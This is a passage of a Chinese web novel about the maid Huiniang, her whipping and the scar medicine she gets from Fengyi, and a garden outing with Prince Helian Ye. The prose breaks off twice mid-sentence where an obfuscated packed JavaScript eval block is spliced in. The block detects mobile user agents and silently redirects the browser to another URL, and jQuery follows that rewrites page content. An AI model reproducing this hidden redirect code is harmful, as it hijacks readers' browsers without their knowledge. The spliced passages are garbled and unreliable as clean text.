慧娘一边说着一边欲起身,王二娘按住她的肩膀,“别折腾。”说着没好气地瞪了她一眼,“你当王府是什么地方?到处都是眼睛、耳朵,一点小事都会传得沸沸扬扬。” 她在府里管园子的花花草草,手底下也有不少人,他们就是她的耳朵与眼睛。慧娘被打的事她昨日就知晓了,只是不知晓为何,她也不敢立刻过来看望她。今日打听到她人被凤仪小姐保着,这才放下心。 慧娘只好继续趴着,小声道:“无大碍,涂过药了。” 看着她一副老实木讷的姿态,王二娘禁不住连声叹气,她果然还是在厨房待着较好,她没有人家那富贵命儿,一到主子跟前晃就立刻出事,上次是打翻东西,好在没收到惩罚,这次出事挨了鞭子,再有下次呢?王二娘心中惶然,不敢去想。扫了眼门外,忍不住俯下身,压低声音问:“你与我说说,这次发生了什么事?” 慧娘摇了摇头,“我不知道。” 王二娘不禁叫了声天奶,诧异道:“你这蠢丫头连自己犯了什么错都不知道?” 慧娘被骂了也不气恼,仍旧只是摇了摇头,莫说她不知道是什么原因,就算知道了她也得牢牢守着那秘密。 王二娘一抹额头,又重重叹了一口气,不再追问这件事。 “我听说凤仪小姐将你要了去,厨房那边已经安排另一人接替你了,田芳还让我传话,叫你不用担心厨房那边,安心伺候主子。” 慧娘点点头,放下心来,她本来还有些担心田芳恼她。 “这凤仪小姐是个不错的主子,她有没有说过要把你带回到那边去伺候?” “没有。” “你也不问一问?” 慧娘老实回答:“来不及问。”当时凤仪小姐刚将她要了去,结果出门没多会儿便出了事。 王二娘沉了脸,“凤仪小姐在府里住不了太久,到时她回去,要是不带你,你怎办?厨房烧火的活儿也有人接替了。” 慧娘伤口疼得厉害,根本没心思去想这事,一时间无法回答。 王二娘一看她呆愣样儿,便知晓她根本没考虑过此事,无奈地摇了摇头,“凤仪小姐再喜欢你,你也只是一伺候人的,咱们没有享福的命,能下床了便立刻去凤仪小姐那边伺候着。贵人多忘事,她要是走了不带你,到时把你忘了,厨房又不要你了,你就得收拾包袱回家去。” 慧娘一听说回家,身子不觉一颤,立刻慌了起来,“二娘,我不想再回去了。” “不想回去,就别当个闷头苦干的老实人,你要耳听八方,眼观六路,嘴巴放甜,把凤仪小姐哄开心了,伺候好了,让她离不得你才好。” 慧娘觉着自己可能做不到她所说的那些,但不想让她失望,便很认真地道:“多谢二娘提点,我记住了。” “你最好是真记住。”王二娘正要起身辞去,忽想起另一件事来,皱眉道:“我听闻你家那位已经从大牢里出来了,他似乎答应要将你家的田抵押给被他打的那人。田契是在你手中还是他手中?” 慧娘那天在街上看到李元良,还奇怪他怎么出来了,原来是打算把她家的田地抵给他人,她庆幸自己将那些房屋地契通通拿了回来,“在我手中。” “那就好。”王二娘颔首,又提醒道:“这些日子你最好别出门了,他找不到田契,肯定四处寻你,他认识不少地痞流氓,你若是出门碰到与他相干的人,不小心泄露行踪就不好了。” 慧娘心情沉重道:“我知晓了。” * * * 三日转瞬即过。 凤仪解禁之后第一件事就是去看望慧娘,出门时她气呼呼地瞪了眼负责看守她的人,然后大摇大摆地往慧娘的住处走去。 此时慧娘也正准备去她那里,然刚出门口,就看到凤仪风风火火地行来,看到她,又立刻加快步伐赶到她身边。 “慧姐姐,你还伤着,怎么不好好休息?”她扶着她的手臂,关切道。 慧娘见她雪一般的肌肤浮起浅浅的红晕,鼻子冒着细细的汗珠,气喘微微,估计是走得很急。 “在屋里闷得慌,出来随便走走。”慧娘说不出来自己是要去服侍她的话了。 “那我扶着你。”凤仪搀扶着她走下台阶。 慧娘住的小院离凤仪住的院子不远,门外栽种着一丛芭蕉,一株高大的梧桐树,树下放着石桌石椅。 凤仪搀扶着她到石桌前坐下后,满脸愧疚道:“慧姐姐,对不起,我没能保护你,还累你替我受罚。” “我皮糙肉厚,受得住。凤仪小姐你细皮嫩肉,哪里挨得了一下鞭子?”莫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153388|196469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说赫连晔疼爱她,不可能让她受罚,就是慧娘看着她娇娇软软,粉雕玉琢的模样也不忍心看她受伤。 凤仪撅了撅小嘴,嗔她一眼:“我哪里就这么娇弱了。” 慧娘望着她,忍不住微微一笑,她就算瞪人也很讨喜,让人有保护欲。 “你的伤怎么样了?还疼不疼?” 慧娘忙摇了摇头,“你给我的药很是管用,现在已经不疼了。” 凤仪却没有放心,“等一下我就去找楚王哥哥让他给一些去除疤痕的药。”言罢她脸色忽然变了下,两道黛眉微微皱起,似藏着什么心事,她叹了口气,一抬眼对上慧娘关切的目光,张了张嘴,忽又闭上。 慧娘见她一副欲语还休的模样,只当她心中为难,“凤仪小姐,你不用为我费心的,日子久了,伤痕就会消失的。” 凤仪立即嗔怪道:“只是些药而已,哪里需要费心?你怎么如此客气?” 慧娘被她这么一责备,就不知道该说什么了,抿着唇,像是一个锯了嘴子的葫芦。 凤仪看她这样也说不出抱怨的话来了,只在心里暗暗想,她绝不让她身上留下任何痕迹。 凤仪说做就做,从慧娘那里离开后,便去了赫连晔的院子,直接就问他要了祛除疤痕的药。 赫连晔也没问她要来做什么,只让她回屋等着,过了没多久,弄影便将两瓶药送了过来,并提醒她: “这白瓶的药主要针对新伤痕,这绿的一瓶则针对陈旧创瘢,莫要混淆。” 凤仪收下了药,便立刻去了慧娘那里,从离开到返回不到半个时辰。 “这药得等你伤口愈合后才能涂,我先看看你的伤势。”凤仪小姐说着就要去扒慧娘的衣服。 慧娘有些不好意思,赶忙拒绝:“不劳烦小姐,我会自己涂的。”一边说一边往床里侧躲。 凤仪性子有些急,想拽她回来,又担心弄疼她的伤势,便也爬上床,“都是女子,有什么难为情的?” 慧娘无可奈何,只能一动不动,由得她扒了。 凤仪小心翼翼地将她衣服往往上一扯,这会儿还是白日,光线充足,慧娘身上的伤直直冲入她的眼帘,叫她怔了好半晌。 她的身上不止还没好透的鞭伤,还有一些早已结痂的陈旧伤痕,一眼望去,甚是可怖。 凤仪一开始还觉着弄影给她的那绿瓶子的药无用,但不要白不要,就收下了,也拿了过来,如今正好对症下药了。 难道弄影一开始就知晓慧娘身上有这些伤,才特地给了她两瓶不同的药? 11. 第 11 章 慧娘见凤仪神情呆滞,只当她被吓到了,正要将衣服拉下去,但一动身子,就被她摁住了。 “你别动,你后背上有些伤是以前受的,这是怎么回事?”凤仪皱着眉头,很认真地询问。 慧娘神色一僵,默默地扭转过头,将脸埋在枕上,闷声道:“不小心划伤的。” 她又不是三岁孩童,怎么会把不小心划那么多道伤口? 凤仪也不是三岁孩童,不会被她糊弄过去,“你以前是不是被人欺负过?”她攥紧拳头,问。 就算没看见凤仪的神情,从她高昂的语气也能知晓她此刻一定满脸愤怒。 慧娘心中动容,却不想在她面前吐露苦水,她天真烂漫,美好纯洁,她不想那些腌臜之事污染了她的眼睛耳朵。她应当是养在温室里的娇花,被人小心翼翼地照顾着,疼惜着。 慧娘将那些辛酸苦涩的往事放回到心底深处,语气云淡风轻道:“凤仪小姐,我真的没有被人欺负过。” 凤仪气鼓鼓的面颊更鼓了,她根本没把她当知心人,不愿意同她说心里话,但转过念头一想,她凭什么要求她把自己当知心人?她身上的伤还是被她连累的,她估计巴不得远离了她。 想到此,她脸颊瘪了下去,闷声闷气道:“你不愿意说就不说吧,等你想说了,你再告诉我也无妨。” 她的新伤盖住了旧伤,新伤还未愈合,她也不知道怎么下手,便拿起放在旁边的药递给她,告诉她两瓶药的用处,就下了床,吩咐她好好歇息,就带着香芝走了。 慧娘能感受到凤仪的失落,但她没说什么。尽管她很喜欢她,但她们毕竟有主仆之分,是不可能当知心姐妹的。 凤仪从慧娘的屋里出来后,去了赫连晔的院子。他身子抱恙,不见任何人,除了凤仪能够来去自由,其余人等都需要弄影通传。锦瑟与姜桃二人今日来过,却被拒之门外。 凤仪进去之时,赫连晔正靠坐在罗汉床上,翻看公文。 听闻动静,赫连晔抬眸看去,见她满脸憋闷之态,不觉笑问:“谁招惹你了?” “慧姐姐。”凤仪脱口而出,然后捂了嘴,松开后,她赶忙解释:“她没有做错事,只是她性子太闷了,什么话都憋在心里,不愿意与我说。” “就为了这点小事烦恼?”赫连晔失笑。 与他无关,他当然觉得是小事,凤仪在心里嘀咕着,蹙着眉头走到他身旁坐下。 赫连晔见她始终闷闷不乐,便道:“她口风紧,是好事。” 凤仪哼了声,“我又没做见不得人的事情,做什么要她口风紧?”反驳完忽然想到什么,小心翼翼地偷瞄了赫连晔一眼,见他神色如常,才放了心,“她救了我的命,我没有把她当做奴仆。” “嗯。”赫连晔淡淡应了句,便又继续专注于公文,看着并不关心她的想法。 凤仪撅了撅小嘴,目光落在他身上,他斜靠在几上,一手托着头,姿态优雅而略显慵懒。一张脸昳丽如仙,有股模糊雌雄之美,这样的长相男女都会喜欢吧?以前她从来没想过这一点。 赫连晔留意到她充满探究的目光,不觉笑问:“怎么这张看着我?我脸上沾了东西?” 凤仪张了张嘴,又闭上,唇边扯出一丝勉强的笑,然后摇了摇头:“没有。” 赫连晔深深地望了她一眼,而后浅笑着收回目光,继续看公文。 * * * 凤仪前脚刚走,小桃后脚就来了,还给她带了一些点心。“我是偷空过来,还得瞒着众人,我待一会儿就得走了。” 慧娘内心既感动又惆怅,感动的是小桃记挂自己,惆怅的是从今往后她们怕是不能再在一起共事了。 “我从姨母那里听说了你的事,你的伤……好些了么?”她问完不禁叹了口气,得知她以后要跟着凤仪小姐,她心中不禁替慧娘担忧,这对其他人而言,或许是个出人头地的机会,但她总觉得放在慧娘身上,却是一件倒霉差事。 慧娘不习惯将自己的伤口展示于人,闻言只说自己没事,让她别担心。 “姨母已经找人替你了,以后你就好好跟着凤仪小姐,别再想着回厨房干活了。”小桃提醒她,以免她还觉得自己有后路,心生懈怠。 “嗯,我知道了。”慧娘点点头,心中隐隐有些失落,她好不容易适应在厨房干活的日子,与厨房的人渐渐熟稔,结果就要离开了。虽说风仪小姐很好,但她实在不知道自己能在她身边做什么,她不懂吟诗作画,也不知情识趣,更不知如何伺候好一位千金小姐。 “你别光知道,也要去做啊,你这老实呆闷的模样实在令我担忧。”小桃又叹了口气。 慧娘内心虽觉迷茫,但不想令关心自己的人担忧,于是笑道:“凤仪小姐人很好,她不会为难我的。” 小桃点了点头,心想或许傻人有傻福吧,于是也笑了起来,“你以后要是风光了,可别忘了我。”她语气有些揶揄,也听不出有期待,大概内心还是觉得慧娘这样的性子根本无法出人头地,能不被人欺负便已经是她的福气了。 * * * 三日后。 赫连晔伤势尚未痊愈,仍待在屋里修养。 “王爷,该喝药了。”弄影将放凉的药端到赫连晔跟前。 歪在榻上养神的赫连晔听到这句话额角一紧,也不理会,随手抄起一旁的书,盖在面上。 弄影怔了下,赫连晔很少有任情使性的时候,这几日大概是睁眼闭眼都是吃药,酒不能碰,荤腥不能碰,把他弄得烦躁不堪。 弄影好声好气地劝说:“王爷,这药只需再喝两日即可。” “要不你替我喝好了。”赫连晔油盐不进,淡淡道。 弄影大感无奈,这药怎么能别人替喝呢。正不知如何是好之际,非烟于门外禀报:“王爷,凤仪小姐来看您了。” 赫连晔将脸上的书往下一拉,露出那双昳丽的眼眸,懒洋洋地瞟了眼门外。 凤仪风风火火地从外头走进来,身后还跟着低眉顺眼的慧娘。 赫连晔放下书,缓缓从榻上坐起,接过弄影递过来的药一饮而尽。 弄影心忖,若说现在这世上还有谁能治得了他们王爷,那大概就只有凤仪一人了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153389|196469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “楚王哥哥,你这病怎这么久还不见好?”凤仪奇怪道,“柳大夫医术不是很了得么?难道变成庸医了?” 赫连晔手抵唇,轻轻咳嗽一声,却未说什么。侍立在凤仪身后的慧娘暗暗抬眸看了他一眼,心忖,他大概是打定主意不让凤仪小姐实情了,不过这也无可厚非,若是知晓他受了伤,凤仪小姐一定很是担心与害怕,思及此,怕自己脸上露出异色泄露他的秘密,忙埋下头去。 慧娘存在感本就极低,她的小举动并未引人注意。 凤仪思忖片刻,又觉得不是大夫的原因,“生病的人不能总是闷在屋子里,应当出去走一走,散一散心,病气才能散得快。” 就这样,赫连晔被凤仪逼着出了屋子,来到了园子里。 天气甚好,春光明媚,碧空如洗,园子里栽种了一大片桃花,彼时树上都是一大簇一大簇红白花朵,如云似锦,灼灼耀目。凤仪竟还让人去请了府中的姜桃与锦瑟前来一起玩乐,二人便打扮得花枝招展,光彩照人,袅娜而来。 慧娘看得直想叹气,面对如此美丽的景色,凤仪小姐难道不想与王爷独享? 到底是她这乡下人不懂他们贵人们的情调,还是凤仪太没心眼? 看着姜桃与锦瑟围着赫连晔嘘寒问暖,而凤仪还在折桃花玩呢,好似浑然不觉有什么不妥的模样,一旁的香芝更是玩性大,直接怂恿凤仪去玩斗草游戏,慧娘直接叹出声来,她声音小,无人听见,轻手轻脚来到凤仪跟前,小声说: “凤仪小姐,要不您去陪王爷吧?我来帮你折花。” 凤仪回头看了眼被姜桃与锦瑟簇拥着的赫连晔,摇了摇头,撅着朱唇道:“他那不是有人陪么?” 慧娘看她神情以为她怪赫连晔冷待她,内心捻醋,才说出这置气的话来。 难不成她是为了考验王爷对她的情意才故意让姜桃和锦瑟过来?若是如此,她或许不该操这份心,凤仪小姐自有主意。 慧娘不再说什么,凤仪折了一支自认为最艳丽的桃花,兴冲冲地要给慧娘戴上。 赫连晔等人都在,慧娘知晓自己的身份,哪里敢接受她的美意,忙婉拒道:“凤仪小姐,这花那么好看,与你更衬,与我不相宜。” “你都没戴,我又怎知不相宜呢?等我给你戴上,就知道相不相宜了。” 凤仪性子执拗,又甚是热情,慧娘不善言语,根本拒绝不了她,只能僵硬着身子由得她将桃花插在了她的发髻上。 “我便说这桃花适合你,一戴上气色瞬间便好了许多,脸也更白了。” 凤仪说的并非客气话,慧娘天生面皮白,虽平日里下地干活,但她怕阳光,干活时哪怕热得浑身流汗,都会穿着长裤长袖衫,戴蒲笠,虽免不了还是会被晒黑,但农闲时还会养回来,所以不像是常年下地的庄稼汉一般皮肤黝黑。 被凤仪这么一夸,慧娘感到十分难为情,双手双脚都不知道往哪搁了,又觉很是不妥,不自觉地往赫连晔那处看了一眼,却正对上他投往这处的目光,淡淡的,看不出有什么情绪,大概只是不经意间看了一眼而已。